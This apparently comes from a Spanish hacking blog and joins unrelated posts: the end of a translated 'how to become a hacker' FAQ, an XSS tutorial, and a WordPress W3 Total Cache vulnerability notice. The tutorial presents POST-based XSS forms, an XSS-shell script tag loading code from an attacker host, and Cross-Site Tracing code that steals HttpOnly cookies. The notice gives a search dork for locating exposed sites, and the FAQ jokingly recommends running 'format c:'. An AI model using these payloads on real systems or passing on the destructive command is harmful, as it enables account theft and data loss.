La cultura hacker (y el desarrollo ingenieril de Internet, para el caso) funciona gracias al trabajo voluntario. Existe una gran cantidad de trabajo necesario pero sin glamour que debe hacerse para que esto siga marchando —administrar listas de correo, moderar foros de discusión, mantener sitios donde se archivan grandes cantidades de software, desarrollar RFCs y otros estándares técnicos.
La gente que desarrolla estas actividades goza de mucho respeto, porque todos saben que esos trabajos son grandes consumidores de tiempo y no tan divertidos como meterse con el código. Al hacerlos demuestran su dedicación.

5. Hacer algo por la cultura hacker en sí misma

Finalmente, puedes propagar la cultura hacker en sí misma (por ejemplo, escribiendo un texto acerca de cómo transformarse en hacker ). Esto es algo que no estarás en disposición de hacer hasta que seas bien conocido en el ambiente por alguna de las cuatro cosas recién descritas.
La cultura hacker no tiene líderes exactamente, pero tiene héroes culturales, ancianos de la tribu, historiadores y portavoces. Cuando hayas estado en las trincheras tiempo suficiente, podrás crecer y transformarte en uno de ellos. Pero ten cuidado: los hackers desconfían del ego ruidoso en sus jefes tribales, así que la búsqueda visible de esa clase de fama es peligrosa. En lugar de esforzarte en ello, es mejor colocarse en una posición tal que ella caiga sobre ti, y luego debes comportarte de manera modesta y con gracia con tu estatus.

La conexión hacker/nerd

Contrariamente al mito popular, no tienes que ser un nerd [literalmente "empollón", pero en la jerga hacker se ha asumido de forma irónica, perdiendo el matiz originalmente despectivo, y ha acabado usándose como sinónimo de alguien que se preocupa por las cosas importantes y no se entretiene en trivialidades. — N. del T.] para ser hacker. Ayuda, sin embargo, y muchos hackers son nerds. Al ser un marginado social, el nerd puede mantenerse concentrado en las cosas realmente importantes, como pensar y hackear.
Por esta razón, muchos hackers han adoptado la etiqueta “nerd” e incluso utilizan el desagradable término geek como insignia de orgullo —es su forma de declarar su propia independencia de las expectativas sociales normales. Si deseas ver una discusión más extensa, dirígete a The Geek Page.
Si puedes concentrarte lo suficiente en el hacking para ser bueno en ello, y encima disfrutar de vida personal, está bien. Es muchísimo más fácil ahora que cuando yo era un novato en los años setenta; la cultura dominante ve con mejores ojos a los tecno-nerds en la actualidad. Hay además un número creciente de personas que se dan cuenta de que con frecuencia los hackers son un material de alta calidad para novio/novia/marido/esposa.
Si te siente atraído por la actividad hacker porque no tienes vida propia, está bien también —al menos no tendrá problemas de concentración—. A lo mejor más adelante puedes conseguir una vida propia como el resto de la gente.

Cuestiones de estilo

De nuevo, para ser un hacker, debes desarrollar la mentalidad del hacker. Existen algunas cosas que puedes hacer cuando estás sin ordenador, que pueden ayudarte. Estas cosas no son sustituto para la actividad propia de hackear (nada lo es) pero muchos hackers las realizan, y sienten que de alguna manera primitiva se conectan con la esencia de la actividad de hackear.

Aprende a escribir correctamente en tu lengua. A pesar de que existe el estereotipo de que los programadores no son capaces de escribir, una cantidad sorprendente de hackers (incluyendo a los mejores que conozco), son escritores competentes.
Lee ciencia-ficción. Ve a las reuniones sobre ciencia-ficción (es un buen método para conocer hackers y proto-hackers).
Estudia zen, y/o practica artes marciales. (La disciplina mental se parece en ambos casos.)
Desarrolla un oído analítico para la música. Aprende a apreciar clases peculiares de música. Aprenda a tocar correctamente algún instrumento musical, o a cantar.
Desarrolla inclinación por los dobles sentidos y los juegos de palabras.

Cuantas más cosas de estas hayas hecho, es más probable que poseas material natural para hacker. Por qué estas cosas en particular y no otras es algo que no está completamente claro, pero todas están conectadas con un mezcla de tu parte izquierda y derecha de las habilidades de tu cerebro, lo que parece ser una cosa importante; los hackers ser capaces tanto de razonamiento lógico como de dar pasos al margen de lógica aparente de un problema en un momento dado.
Trabaja tan intensamente como juegas y juega tan intensamente como trabajas. Para los verdaderos hackers, la diferiencia entre “juego”, “trabajo”, “ciencia” y “arte” tienden a desaparecer, o mezclarse en un alto nivel de creatividad. Además, no te des por satisfecho con tener un estrecho rango de habilidades. Aunque la mayoría de los hackers se autodescriben como programadores, suelen ser más que competentes en actividades diversas —administración de sistemas, diseño web y arreglar problemas de hardware son algo común—. Un hacker que, por un lado, es administrador de sistemas, por el otro es también habilidoso en programación de scripts y diseño de webs. Los hackers no hacen las cosas a medias; si se meten de lleno en un tema, tienden a ser muy buenos en él.
Finalmente, unas cuantas cosas que no debes hacer:

No uses un nombre de usuario tonto o grandioso.
No te metas en “flamewars” (discusiones airadas) en Usenet (ni en ningún otro lado).
No te llames a ti mismo “ciberpunk”, y no pierdas tu tiempo con nadie que lo haga.
No publiques en los foros ni escribas correos con montones de errores de tecleo o construcciones gramaticales incorrectas.

La única reputación que te ganarás con esas costumbres es la de tonto. Los hackers tienen una gran memoria —puede costar años hasta que te acepten de nuevo después de estas cosas.
El problema con los apodos virtuales merece alguna explicación. Ocultar tu identidad detrás de un apodo es un comportamiento infantil y tonto que es característico de los crackers, warez d00dz, y otras formas inferiores de vida. Los hackers no hacen eso; ellos están orgullosos de lo que que hacen y lo quieren asociado con sus nombres reales . Así que si tienes un nombre de estos, abandónalo. En la cultura hacker solo servirán para marcarte como un perdedor.

Otras fuentes de información

Peter Seebach mantiene un excelente Hacker FAQ para directivos que no entiendan el trato con hackers. Si la pagina de Peter no responde, en la siguiente búsqueda en Excite encontrarás una copia.
También he escrito A Brief History Of Hackerdom.
He escrito un artículo The Cathedral and the Bazaar [existe traducción castellana: La catedral y el bazar — N. del T.], donde se explica bastante sobre cómo funciona la cultura de Linux y del software de fuente abierta. He estudiado este tema más directamente en su segunda parte, Homesteading the Noosphere [existe traducción castellana: Cultivando la noosfera — N. del T.].
Rick Moen ha escrito un excelente documento en how to run a Linux user group.
Rick Moen y yo hemos colaborado en otro documento en How To Ask Smart Questions [existe traducción castellana: Cómo hacer preguntas de manera inteligente — N. del T.]. Esto te ayudará a encontrar asistencia en el camino.
Si necesitas instrucciones para lo básico como ordenadores personales, Unix e Internet , ve a The Unix and Internet Fundamentals HOWTO.
Cuando publicas software o escribes parches, procura seguir las directrices en el Software Release Practice HOWTO.

Preguntas Frecuentes

P: ¿Me enseñarás a hackear?
P: ¿Cómo puedo iniciarme entonces?
P: ¿Cuándo conviene empezar? ¿Es demasiado tarde para aprender?
P: ¿Cuánto tiempo me costará aprender a hackear?
P: ¿Son Visual Basic o C# buenos lenguajes para empezar?
P: ¿Me ayudarías a crackear un sistema, o me enseñarías cómo hacerlo?
P: ¿Cómo puedo obtener la contraseña de la cuenta de otra persona?
P: ¿Cómo puedo acceder/leer/monitorizar el correo de otra persona?
P: ¿Cómo puedo robar privilegios de operador de canal en el IRC?
P: He sido crackeado. ¿Me ayudarás a defenderme de futuros ataques?
P: Estoy teniendo problemas con mi Windows, ¿me ayudarás?
P: ¿Dónde puedo encontrar a hackers de verdad para charlar con ellos?
P: ¿Me puedes recomendar libros útiles sobre hacking y temas relacionados?
P: ¿Necesito ser bueno en matemáticas para llegar a ser un hacker?
P: ¿Qué lenguaje debería aprender primero?
P: ¿Qué clase de hardware necesito?
P:. Deseo contribuir. ¿Puedes ayudarme a escoger un problema en el que trabajar?
P: ¿Necesito odiar y golpear a Microsoft?
P: ¿Pero no imposibilitará el software de fuenta abierta ganarse la vida a los programadores?
P: ¿Cómo puedo iniciarme? ¿Dónde puedo obtener un Unix libre?

P:	¿Me enseñarás a hackear?
R:	Desde la primera publicación de esta página, me llegan varias peticiones por semana (a menudo varios por día) de gente que quiere que le “enseñe todo sobre hackeo”. Desafortunadamente, no tengo ni el tiempo ni la energía para hacer eso; mis propios proyectos de hackeo consumen el 110% de mi tiempo. Aun si pudiera hacerlo, el hackeo es una actitud y habilidad que debes aprender por ti mismo. Te darás cuenta de que los hackers de verdad quieren ayudarte, pero no te respetarán si comienzas a rogarles que te alimenten en la boca con todo lo que saben. Aprende unas cuantas cosas primero. Muéstrales que lo estás intentando, que eres capaz de aprender por tu cuenta. Entonces dirígete a los hackers que conozcas pero ya con preguntas específicas. Si escribes un email a un hacker pidiéndole consejo, hay 2 cosas que debes saber antes. Primero, hemos encontrado que la gente que es perezosa o descuidada en sus escritos suelen ser demasiado perezosos o descuidados para pensar en ser buenos hackers —Así que ten cuidado en deletrear correctamente, y usar buena gramática y puntuación. En caso contrario, probablemente serás ignorado. En segundo lugar, no te atrevas a pedir una respuesta con una cuenta de ISP diferente a la cuenta desde la que estás enviando; nos encontramos gente que lo hacen que suelen ser timadores usando cuentas robadas, y no tenemos interes en ayudar o apoyar el robo.
P:	¿Cómo puedo iniciarme entonces?
R:	La mejor manera para empezar probablemente es pasarte por un LUG (“Linux User Group”, un grupo de usuarios de Linux local). Puedes encontrar grupos por ejemplo en la LDP General Linux Information Page; probablemente haya uno cerca de tu localidad, asociado con un colegio o universidad. Los miembros de los LUG probablemente te darán un Linux si lo pides, y ciertamente te ayudarán a instalarlo e iniciarte.
P:	¿Cuándo conviene empezar? ¿Es demasiado tarde para aprender?
R:	Cualquier edad en la cual estés motivado para iniciarte es buena edad. La mayoría de la gente parece interesarse entre los 15 y 20 años, pero conozco excepciones en ambas direcciones.
P:	¿Cuánto tiempo me costará aprender a hackear?
R:	Esto depende de tu talento y lo duro que trabajes. La mayoría de la gente puede adquirir un nivel de habilidad respetable a los dieciocho meses o dos años, si se concentran. Sin embargo, no creas que has finalizado ahí; si eres un hacker de verdad, te pasarás el resto de tu vida aprendiendo y perfecionando tu material.
P:	¿Son Visual Basic o C# buenos lenguajes para empezar?
R:	No, porque no son portables. No hay ninguna implementación libre de esos lenguajes, así que estarías cerrándote solo a las plataformas a las que el fabricante decide dar soporte. Aceptar esta situacion de monopolio no es el camino del hacker. Visual Basic es especialmente tremendo. El hecho de que sea un lenguaje propiedad de Microsoft es suficiente para descalificarlo, y como otras versiones de Basic tiene un diseño pobre y te enseñará malos hábitos de programacion. Uno de esos malos hábitos es hacerte dependiente de las bibliotecas, módulos y herramientas de desarrollo procedentes de un solo fabricante. En general, cualquier lenguaje que no esté soportado bajo Linux o un de los BSDs, y/o cuando menos pueda ser ejecutado en 3 diferentes sistemas operativos, es un lenguaje deficiente para aprender a hackear.
P:	¿Me ayudarías a crackear un sistema, o me enseñarías cómo hacerlo?
R:	No. Alguien que pregunta esto después de leer este documento es demasiado estúpido para poder ser instruido, incluso aunque tuviese tiempo para ello. Cualquier correo con este tipo de preguntas lo ignoraré o responderé con extrema rudeza.
P:	¿Cómo puedo obtener la contraseña de la cuenta de otra persona?
R:	Eso es cracking. Desaparece, idiota.
P:	¿Cómo puedo acceder/leer/monitorizar el correo de otra persona?
A:	Eso es cracking. Piérdete, imbécil.
P:	¿Cómo puedo robar privilegios de operador de canal en el IRC?
A:	Eso es cracking. Fuera de aquí, cretino.
P:	He sido crackeado. ¿Me ayudarás a defenderme de futuros ataques?
R:	No. Todo el tiempo me han estado preguntando eso, se debe a la deficiente programación de Microsoft Windows. No es posible proteger a Windows de forma efectiva contra ataques de crackers; sencillamente, su código y su arquitectura tienen demasiados defectos. La unica prevención realizable consiste en cambiar a Linux o a algún otro sistema operativo que por lo menos esté diseñado para poder ser protegido.
P:	Estoy teniendo problemas con mi Windows, ¿me ayudarás?
R:	Sí. Ve a una línea de comandos de DOS y teclea: ‘`format c:`‘. Cualquier problema que estés experimentando, desaparecerá en pocos minutos.
P:	¿Dónde puedo encontrar hackers de verdad para charlar con ellos?
R:	La mejor manera es encontrar un grupo de usuarios local de Unix or Linux e ir a sus reuniones (puedes encontrar links a varias listas de grupos de usuarios en el sitio de LDP en Metalab). (Antes solía decir que no encontrarías hackers reales en el IRC, pero estoy dándome cuenta que eso está cambiando. Al parecer algunas comunidades de hackers reales, vinculadas a cosas como GIMP y Perl, tienen canales de IRC ahora.)
P:	¿Me puedes recomendar libros útiles sobre hacking y temas relacionados?
R:	Mantengo un Linux Reading List HOWTO que puedes encontrarlo útil. El Loginataka podría ser también interesante. Para una introducción a Python, echa un vistazo a los materiales introductorios en el sitio web de Python.
P:	¿Necesito ser bueno en matemáticas para llegar a ser un hacker?
R:	No. Aunque necesitas ser capaz de pensar en términos lógicos y seguir cadenas de razonamiento exacto, el hacking usa muy poca matemática formal o aritmética. En particular, no necesitarás trigonometría, cálculo o análisis (eso se lo dejamos a los ingenieros electricos ). Algo de matemáticas finitas (incluyendo álgebra booleana, teoría de conjuntos finitos, combinatoria y teoría de grafos) puede ser útil.
P:	¿Qué lenguaje debería aprender primero?
R:	XHTML (el dialecto más reciente de HTML) si todavía no lo sabes. Existe muchos muy malos libros de HTML afuera, y desafortunadamente solo algunos buenos. El que a mí me parece el mejor es HTML: The Definitive Guide. Pero HTML no es un lenguaje de programación completo. Cuando estés listo para empezar a programar, recomendaría empezar con Python. Escucharás a mucha gente que te recomiende Perl, y Perl es aún más popular que Python, pero es mas difícil de aprender y (en mi opinión) peor diseñado. C es realmente importante, pero es tambien mucho mas difícil que Python y Perl. No intentes aprenderlo primero. Usuarios de Windows: no os conforméis con Visual Basic. Os enseñará malos hábitos, y no es portable fuera de Windows. Evitadlo.
P:	¿Qué clase de hardware necesito?
R:	Solía pasar que los ordenadores personales tenían pocas prestaciones y poca memoria, lo cual impuso límites artificiales en el proceso de aprendizaje de un hacker. Esto dejó de ser cierto hace algún tiempo; cualquier máquina de Intel 486DX50 o superior es lo suficientemente poderosa para el el trabajo de desarrollo, X y conexión a Internet, y los disquetes más pequeños que puedes comprar hoy son suficientes. Lo importante al escoger una máquina para aprender es si su hardware es compatible con Linux (o compatible con BSD). Esto vale también para las máquinas más modernas. La única cuestión complicada son los modems: algunas máquinas tiene hardware específico para Windows que no funciona con Linux. [Hay un sitio web llamado linmodems.org donde podrás determinar si, pese a ser un "winmodem", puedes conseguir que tu dispositivo funcione bajo GNU/Linux — N. del T.] Hay una FAQ acerca de la compatibilidad de hardware; la última versión está aquí.
P:.	Deseo contribuir. ¿Puedes ayudarme a escoger un tema en el que trabajar?
R:.	No, porque desconozco cuáles son tus talentos o intereses. Debes estar automotivado o no te dedicarás seriamente a ello, por eso casi nunca funciona que otras personas elijan por ti. Prueba esto. Mira los anuncios de Freshmeat durante algunos días. Cuando veas uno que te haga pensar: “¡Guay, me gustaría trabajar en eso!”, únete.
P:	¿Necesito odiar y golpear a Microsoft?
R:	No, no hace falta. Y no porque Microsoft no sea asqueroso, sino porque la cultura hacker existía mucho antes que Microsoft y seguirá existiendo aún largo tiempo después de que Microsoft sea historia. Cualquier energía que gastes odiando a Microsoft sería mejor empleada entusiasmándote con tus habilidades. Escribe buen código —esto será un golpe más duro para Microsoft y no requiere que ensucies tu karma.
P:	¿Pero no imposibilitará el software de fuenta abierta ganarse la vida a los programadores?
R:	Esto parece improbable —hasta ahora la industria de software de fuente abierta parece estar creando empleos más que quitándolos. Si tener un programa escrito en una economía de red gana sobre no tenerlo escrito, un programador será remunerado independientemente de si el programa va a ser código abierto después de realizado. Y no importa cuánto software “gratis” tienes escrito, parece que siempre habrá más demanda para aplicaciones nuevas y especializadas. He escrito más sobre esto en las páginas de Open Source.
P:	P: ¿Cómo puedo iniciarme? ¿Dónde puedo obtener un Unix libre?
R:	En otro lugar de esta página incluyo punteros a lugares donde puedes obtener el Unix libre más usado. Para ser un hacker necesitas motivación y la iniciativa y la habilidad para educarte por ti mismo. Empieza ahora…

Rompiendo a lo grande: XSS avanzado

2013-01-02T09:55:00.003-08:00

XSS usando el método POST

Por si no lo recuerdan, todos los ataques explicados en el artículo anterior se basaban en el método HTTP GET, sacando el caso del XSS persistente. La razón de esto es que las variables usando el método GET van en la URL, por lo que para realizar el ataque sólo es necesario que el usuario abra un link armado por el atacante.
Para refrescar un poco la memoria, tomen en cuenta el ejemplo donde el script imprimía todo lo pasado por parámetro. Si el parámetro se envía con el método GET, el atacante sólo debería armar una URL del estilo http://www.ejemplo.com/vulnerable.php?param=<SCRIPT>alert(‘XSS’);</SCRIPT>

Ahora piensen en el método HTTP POST. Cuando se usa POST las variables van dentro del cuerpo del mensaje HTTP. Para el que no conozca HTTP, el protocolo cuenta con dos partes, un HEADER donde van distintos parámetros (como la URL que solicitamos y los parámetros GET, el tipo de browser, el sistema operativo, el tipo del mensaje, las cookies, etc), y el CONTENIDO (donde va la página -html,img,xml,etc- en si, o los parámetros POST). El que se encarga de manejar el protocolo del lado del cliente es el browser, el cual arma los paquetes HTTP. Para un usuario es fácil manipular los parámetros GET porque van en la URL, pero no es tan simple manipular los parámetros POST.
Un pedido POST no se puede armar con los parámetros en la URL, así que necesitamos de un formulario. Pero cómo utilizamos un formulario en un ataque XSS no persistente? La respuesta es, usando una página intermedia.
Una vez que el atacante descubre una vulnerabilidad XSS en un parámetro POST de una página www.buenovulnerable.com/vulnerable.php, éste arma un formulario en una página que puede modificar (ya sea en un servidor propio o uno hackeado, pero no viene al caso) como ser www.malomalo.com/xsspost.php. Lo que hace a continuación es enviar al usuario víctima la URL de su página con algún texto que lo incite a visitarla. Cuando el usuario ingresa en www.malomalo.com/xsspost.php, ésta automáticamente envía los parámetros armados por el atacante a www.buenovulnerable.com/vulnerable.php la cual ahora contiene código de atacante (inyectado por XSS a través del método POST). Si el usuario estaba logueado, o utilizando la página www.buenovulnerable.com, el atacante podrá obtener cookies u otra información.

Vayamos al ejemplo phpeano. Por un lado tenemos la página vulnerable con el siguiente código:

Palabra buscada: <?php if(isset($_POST['search'])) print ”<B>”.$_POST['search'].”</B>” ?>
<FORM ACTION=”" METHOD=”POST”>
<INPUT TYPE=”TXT” NAME=”search” SIZE=”20″>
<INPUT TYPE=”SUBMIT” VALUE=”search”>
</FORM>

Este ejemplo es igual al planteado en el artículo anterior, donde el script coloca la palabra buscada en el código php, osea, si la variable contiene HTML, el resultado será una página con el HTML incrustado por el atacante.
Dado que el ejemplo utiliza el método POST, necesitamos armar una página intermedia que haga el trabajo. La página intermedia contendrá el siguiente código:

<FORM NAME=”attack” ACTION=”http://www.buenovulnerable/vulnerable.php” METHOD=”POST”>
<INPUT TYPE=”HIDDEN” NAME=”search” SIZE=”20″ VALUE=”<SCRIPT>alert(‘XSS’);</SCRIPT>”>
</FORM>
<SCRIPT>
setTimeout(‘attack.submit()’, 1);
</SCRIPT>

Como se puede ver, esta página contiene una entrada de formulario con el mismo nombre que el input de la página anterior (el nombre search), pero a diferencia de la anterior, este input está oculto (tipo HIDDEN). Si un usuario visita la página del atacante, ésta cargará el valor <SCRIPT>alert(‘XSS’);</SCRIPT> en la variable search y lo enviará a la página vulnerable. El envío automático lo realiza el código setTimeout(‘attack.submit()’, 1); donde le decimos que haga un submit luego de 1 milisegundo cargada la página.
El resultado es que el usuario termina en la página vulnerable con el JavaScript incrustado, es decir, verá:

Palabra buscada: <B><SCRIPT>alert(‘XSS’);</SCRIPT></B>
<FORM ACTION=”" METHOD=”POST”>
<INPUT TYPE=”TXT” NAME=”search” SIZE=”20″>
<INPUT TYPE=”SUBMIT” VALUE=”search”>
</FORM>

Esto es lo mismo que teníamos antes cuando el formulario usaba el método GET y el atacante utilizaba la URL http://www.buenovulnerable/vulnerable.php?search=<SCRIPT>alert(‘XSS’);</SCRIPT>
De esta manera logramos un ataque sobre un formulario que utiliza el método POST en lugar de GET.
El problema de este ataque es que resulta un poco más evidente. Ahora el usuario deberá confiar en una URL externa en lugar de la URL de la página buena, pero el resultado es el mismo! Por lo general muchos usuarios visitan links de páginas dudosas, y con esta falencia sería posible realizar ataques interesantes.
XSS Shell
Luego de haber explorado algunas facetas del XSS nos metemos con los ataques más interesantes. Si todavía no se convencieron de lo peligroso que puede ser el XSS, luego de leer sobre el siguiente ataque lo van a hacer.
XSS Shell (tal vez conocido de otras formas) es un ataque donde el atacante puede manipular el browser de la víctima a través de un set de comandos, durante el tiempo que la víctima mantenga abierta la página afectada.
En un ataque simple, el usuario ejecuta un script malicioso que roba una cookie, manipula la página o alguna otra cosa y termina (una sola oportunidad de ataque). Pero con XSS Shell se utiliza un script que mantiene una conexión con un servidor maligno y responde a comandos enviados por éste. El atacante interactúa con el servidor maligno enviando comandos y recibiendo los resultados. En resumen, existe una conexión entre el servidor y la víctima por la cual un atacante puede enviar los comandos que desee, pudiendo realizar diferentes acciones con un sólo ataque XSS.
Programar el Shell no es tan trivial como en los ejemplos anteriores, así que sólo explicaré una posible forma de implementarlo en lugar de colocar el código en si.
Como se darán cuenta a partir de lo que expliqué arriba, este ataque cuenta con 3 piezas. Por un lado tenemos el servidor maligno, el cual se encarga del contacto con la víctima y de ser el front-end del atacante. Las otras dos partes son el programa que se ejecuta en la máquina de la víctima y el front-end del atacante. Esto se puede observar el la figura de abajo.

El código inyectado en la página primero se conecta al servidor malicioso para descargar el script encargado de recibir comandos y enviar resultados. Este código podría ser algo como el siguiente:
<script language=’Javascript’ src=”http://www.malomalo.com/hack/command.js.php’></script>
El script descargado chequea cada cierto tiempo el servidor en busca de comandos a ejecutar, y si el comando genera algún resultado, el script lo devuelve al servidor. Para hacer este checkeo a intervalos podemos usar AJAX en conjunto con la función JavaScript setInterval (https://developer.mozilla.org/en/DOM/window.setInterval), la cual toma como parámetros una función a ejecutar y el intervalo de tiempo en milisegundos (opcionalmente se pueden pasar parámetros a la función a ejecutar).
Hasta acá ya tenemos el funcionamiento de la víctima, esto es, buscar comandos cada cierto tiempo, ejecutarlos, y enviar resultados cuando sea necesario.
Ahora pasemos al servidor malicioso. El servidor es el encargado de servir el script que ejecuta la víctima, a su vez se encarga de encolar comandos enviados por el atacante y enviarlos a la víctima cuando los solicite (recuerden que la conexión la inicia la víctima, así que el servidor espera a que la víctima pida los comandos). Además el servidor acumula los resultados enviados por las diferentes víctimas (zombies). Un servidor bien hecho puede administrar varios zombies a la vez, así que debe mantener colas separadas de comandos para cada zombie.
Por otro lado, debe encargarse de presentar un front-end para el atacante, el cual podrá seleccionar diferentes comandos y diferentes zombies para que los ejecuten. El atacante también será capaz de obtener datos de los zombies, como cookies, credenciales, etc.
Como se pueden ir imaginando, a través de un XSS Shell se puede tener muchísima funcionalidad y hacer cosas extremadamente graves. Sólo para citar algunos ejemplos de lo que podríamos hacer utilizando este ataque, les dejo la siguiente lista:
- Robo de cookies
- Obtener página actual
- Ejecutar JavaScript arbitrario
- Obtener los movimientos del mouse
- Obtener las teclas presionadas (keylogger)
- Crashear el browser
- Acceso a páginas a través de la víctima (proxy/tunneling)
- Obtener historial de páginas visitadas (usando técnicas como la descripta en mi anterior artículo:Robando información del historial (sin usar JavaScript!))
- Escaneo distribuido de puertos
- Bindshell IPC (enviar comandos a otra máquina en la LAN de la máquina zombie)
- Otros………
La mayoría de los ataques se pueden realizar como consecuencia del XSS, pero tener un XSS Shell nos permite realizar tantos ataques como deseemos, mientras dure la conexión.
Existen herramientas muy interesantes para probar estos problemas y ver como funcionan:
- BeEF browser exploitation framework - para mi el más completo.
- XSS-Proxy
- XSS Shell

Cross-Site Tracing (XST)
Esta ataque utiliza el XSS en conjunto con el método HTTP TRACE para obtener datos que a través del XSS solo no se podrían obtener.
Comencemos describiendo un poco el método HTTP TRACE. Este método se utiliza/ba para debugging de los servidores Web y viene activado por defecto en muchos servers. Lo único que hace es repetir toda información enviada por el cliente al server, es algo así como un echo. Un ejemplo del método Trace sería como sigue:

$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:07:16 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 50
TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba

Como se observa, el servidor responde exactamente lo mismo que le enviamos en el pedido. La parte útil para el ataque, es que si armamos un pedido HTTP TRACE desde el browser a una página en la cual se utilizan cookies, el servidor nos responderá copiando las cookies de regreso. Por ejemplo, podríamos obtener el siguiente comportamiento:

$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:15:26 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 73
TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn

Ustedes dirán, si podemos obtener la cookie enviada por el browser a través de XSS, para qué necesitamos el método TRACE? bueno resulta ser que hay casos en los que no es posible obtener las cookies utilizando JavaScript (u otro lenguaje script ejecutado en el browser).
En browsers como IE6 SP1 y posteriores o Firefox 2.0.0.5 y posteriores, existe una opción de seguridad llamada HttpOnly cookies. Cuando un servidor web envía el parámetro HttpOnly dentro de las cookies, el browser no debería permitir que las cookies sean accesibles utilizando scripts como JavaScript. Esto es, si la opción HttpOnly está activada, una llamada a document.cookie nos devolverá vacío, aún cuando existan cookies. Utilizando esta propiedad se previene el robo de cookies explotando vulnerabilidades XSS, lo cual es muy bueno.
Aca es donde entra en juego el XST. A través de XST se pueden obtener cookies aún cuando está activada la característica HttpOnly. Si armamos un pedido HTTP TRACE desde el browser, éste incorporará la cookie como parte del header (la cual todavía no podemos acceder). Ahora, cuando el servidor responda al pedido TRACE, éste incluirá la cookie como parte de la respuesta… bingo! ahora tenemos la cookie que tanto deseabamos.
Cómo es posible armar un pedido HTTP TRACE utilizando JavaScript? distintos browsers tienen distintos métodos. Para ejemplificar, les dejo los métodos usados por los dos browsers más conocidos, IE y Firefox.
Una forma de realizar este trabajo en Internet Explorer es utilizando el control ActiveX XMLHTTP. Un ejemplo de cómo utilizar esto para obtener cookies es el siguiente (tomado del paper CROSS-SITE TRACING (XST) de Jeremiah Grossman):

<script type=”text/javascript”>
<!–
function sendTrace () {
var xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”);
xmlHttp.open(“TRACE”, ”http://foo.bar”,false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//–>
</script>
<INPUT TYPE=BUTTON OnClick=”sendTrace();” VALUE=”Send Trace Request”>

En firefox la función a utilizar es muy similar:

<script type=”text/javascript”>
<!–
function sendTrace()
{
xhttp=new XMLHttpRequest();
xhttp.open(“TRACE”, ”http://foo.bar”,false);
xhttp.send();
xmlDoc=xhttp.responseXML;
alert(xmlDoc);
}
//–>
</script>
<INPUT TYPE=BUTTON OnClick=”sendTrace();” VALUE=”Send Trace Request”>

El uso de estas funciones tienen una restricción: no permiten al browser conectarse a otro dominio que no sea el de la página que está mostrando. Pero esto igualmente no es problema para realizar el ataque.

Pensamientos Finales
Como habrán podido observar, el XSS es una vulnerabilidad extremadamente riesgosa cuando es explotada por gente que sabe (o que buscó un poco en internet). Espero con este par de artículos haber demostrado el peligro, lo poderosos que pueden ser los ataques, que el XSS no es simplemente un alert(‘XSS’); De este ataque no se salvó ni google, el cual tuvo que reparar sus sites en más de una ocación.
La sencillez del ataque hace que a simple vista parezca inofensivo y resulta poco respetado, pero no se dejen engañar por las apariencias.
En muchos casos el ataque necesita del factor “usuario desprevenido”, pero todos sabemos lo fácil que es aprovechar esta clase de usuarios y que seguramente más de una vez nos ha tocado serlo.
Ahora gracias a twitter se utilizan mucho las tinyURL, las cuales ocultan la verdad detras del link a visitar, algo que impone un riesgo extra. Además, como vimos en el artículo Ocultando URLs con JavaScript, es muy fácil ocultar el verdadero destino de un link.
Por otro lado, el uso de iframes ocultos en la página hace posible que visitemos páginas sin darnos cuenta! Tal vez estemos visitando una página que es perfectamente legal a simple vista, pero que en sus entrañas tenga un iframe que hace a nuestro browser enviar pedidos a una página vulnerable a XSS y así robar cookies.
Formas de hacer que nuestro ataque funcione existen muchas, tal vez para hacer otro artículo, así que por ahora lo dejo aca.

Todavía no termina
Exactamente lo que dice el título, todavía no estoy dispuesto a abandonar el XSS, porque todavía tengo varias cosas interesantes para contar. Por un lado quiero mostrar formas de prevenir el XSS desde la programación, a su vez quiero citar algunas herramientas comerciales y libres que se pueden utilizar para testear esta vulnerabilidad. Por si fuera poco, en un artículo más estaré explicando ataques relacionados al XSS pero que no entran en la definición concreta de este, como ser el Cross-Site Request Forgery (CSRF) o el Cross-zone Scripting…
Si da el tiempo y todavía no se pudrieron del XSS, también me gustaría hablar de un paper sobre cómo evadir controles CSRF usando XSS.
Si leen o conocen de algún otro ataque XSS que no halla citado, haganmelo saber y hablo sobre él en algún artículo adicional.
Hay letra para rato, así que como suelo decir, stay tuned.

Referencias
- Advanced Cross Site Scripting (Gavin Zuchlinski)
- XSS Tunnelling – Tunnelling HTTP traffic through XSS Channels (Ferruh Mavituna)
- Advanced Cross-Site-Scripting with Real-time Remote Attacker Control (Anton Rager)
- CROSS-SITE TRACING (XST) (Jeremiah Grossman)

Este tutorial fue tomado de la web http://itfreekzone.blogspot.com/ todos los creditos son para ellos, gracias

Vulnerabilidad Crítica en WordPress en popular plugin "W3 Total Cache"

2012-12-28T04:08:00.000-08:00

Recientemente se ha descubierto una Vulnerabilidad Crítica en el popular plugin "W3 Total Cache" de WordPress que se utiliza para mejorar el rendimiento del sitio y la experiencia de usuario a través de almacenamiento del cache. Este Full-disclosure ocurre debido a la forma en que W3TC almacena la caché de base de datos en directorios con acceso público, donde en el mejor (o peor de los casos para los webmasters) se pueden recuperar los hashes de contraseñas y la información de base de datos guardad en el cache.

La ubicación predeterminada donde este plugin guarda los datos es "/wp-content/w3tc/dbcache/".

Por lo famoso que es este plugin, lo transforma en una amenaza poderosa para los usuarios de WordPress, y un potencial atacante podría comprometer fácilmente la web en su totalidad. La recomendación para los webmasters es que actualice el plugin a la versión nueva o denegar el acceso al directorio agregando un htccess.

La masividad y facilidad de explotar esta falla se hace notar con una simple búsqueda con google:

inurl:/wp-content/w3tc/dbcache/

Encontramos 227.000 resultados y la mayoría son vulnerables.

y simplemente hay que abrir los archivos con un editor de texto plano para poder ver las bases de datos guardadas en cache.

Más información: http://seclists.org/fulldisclosure/

No te fíes de un extraño ni aunque lo veas por la webcam

2012-12-24T12:35:00.006-08:00

